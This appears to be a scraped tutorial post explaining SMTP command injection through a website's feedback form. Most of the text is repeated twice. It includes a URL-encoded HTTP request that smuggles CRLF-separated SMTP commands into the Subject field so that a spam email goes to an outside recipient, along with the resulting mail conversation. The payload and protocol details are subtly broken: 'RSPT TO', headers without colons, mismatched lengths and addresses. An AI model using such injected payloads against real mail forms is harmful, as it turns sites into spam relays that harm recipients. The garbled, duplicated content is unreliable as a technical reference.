About injection of commands into SMTP
I haven't done anything in a while, and I didn't find this here, so I figured I'd write an article on it. Here you go.
There are cases where an application may preform the SMTP conversation itself, or may pass user supplied input to a different component in order to do this. In this situation, it may be possible to inject arbitrary SMTP commands directly into this conversation, potentially taking full control of the messages being generated by the application.
For example, consider an application that uses requests of the following form to submit site feedback:
This causes the web application to preform an SMTP conversation with the following commands:
NOTE: After the SMTP client issues the DATA command, it sends the contents of the email message comprising of the message headers and body, and then sends a single dot character on its own line. This tells the server that the message is complete, and the client can then issue further SMTP commands to send further messages.
In this situation, you may be able to inject arbitrary SMTP commands into any of the email fields that you control. For example, you can attempt to inject into the Subject field as follows:
If the application is vulnerable, then this will result in the following SMTP conversation, which give two different email messages, with the second being entirely within you control:
Finding SMTP injection flaws:
To probe an application's mail functionality effectively, you need to target every parameter that is submitted to an email-related function, even those that may initially appear to be unrelated to the content of the generated message.
You should also test for each kind of attack, and you should preform each test case using both windows and unix-style newline characters.
I hope you liked it, I'm working on more as we speak.
There are cases where an application may preform the SMTP conversation itself, or may pass user supplied input to a different component in order to do this. In this situation, it may be possible to inject arbitrary SMTP commands directly into this conversation, potentially taking full control of the messages being generated by the application.
For example, consider an application that uses requests of the following form to submit site feedback:
Post feedback.php HTTP/1.1
Host site.com
CONTENT-LENGTH: 56
From=me@mail.com&Subject=Site+feeback&message=hello
Host site.com
CONTENT-LENGTH: 56
From=me@mail.com&Subject=Site+feeback&message=hello
This causes the web application to preform an SMTP conversation with the following commands:
MAIL FROM: me@mail.com
RCPT TO: feedback@site.com
DATA
From: me@mail.com
To: feddback@site.com
Subject: site feedback
hello
RCPT TO: feedback@site.com
DATA
From: me@mail.com
To: feddback@site.com
Subject: site feedback
hello
NOTE: After the SMTP client issues the DATA command, it sends the contents of the email message comprising of the message headers and body, and then sends a single dot character on its own line. This tells the server that the message is complete, and the client can then issue further SMTP commands to send further messages.
In this situation, you may be able to inject arbitrary SMTP commands into any of the email fields that you control. For example, you can attempt to inject into the Subject field as follows:
Post feedback.php HTTP/1.1
Host site.com
CONTENT-LENGTH: 240
From=me@mail.com&Subject=Site+feeback%0d%0ahello%0d%0a%2e%0d%0aMail+FROM:+mail@viagra.com%0d%0aRSPT +TO:+john@mail.com%0d%0aDATA%0d%0aFROM:+person@mail.com%0d%0aTO+john@mail.com%0d%0aSubject:+Cheap+viagra%0d%0aBlah%0d%0a%2e%0d%0amessage=foo
Host site.com
CONTENT-LENGTH: 240
From=me@mail.com&Subject=Site+feeback%0d%0ahello%0d%0a%2e%0d%0aMail+FROM:+mail@viagra.com%0d%0aRSPT +TO:+john@mail.com%0d%0aDATA%0d%0aFROM:+person@mail.com%0d%0aTO+john@mail.com%0d%0aSubject:+Cheap+viagra%0d%0aBlah%0d%0a%2e%0d%0amessage=foo
If the application is vulnerable, then this will result in the following SMTP conversation, which give two different email messages, with the second being entirely within you control:
MAIL FROM: me@mail.com
RCPT TO: feedback@site.com
DATA
From: me@mail.com
To: feddback@site.com
Subject: site feedback
hello
.
MAIL FROM: person@mail.com
RCPT TO: john@mail.com
DATA
From: person@mail.com
To: john@smail.com
Subject: Cheap Viagra
Blah
.
foo
.
RCPT TO: feedback@site.com
DATA
From: me@mail.com
To: feddback@site.com
Subject: site feedback
hello
.
MAIL FROM: person@mail.com
RCPT TO: john@mail.com
DATA
From: person@mail.com
To: john@smail.com
Subject: Cheap Viagra
Blah
.
foo
.
Finding SMTP injection flaws:
To probe an application's mail functionality effectively, you need to target every parameter that is submitted to an email-related function, even those that may initially appear to be unrelated to the content of the generated message.
You should also test for each kind of attack, and you should preform each test case using both windows and unix-style newline characters.
I hope you liked it, I'm working on more as we speak.

Main:
Posted by 
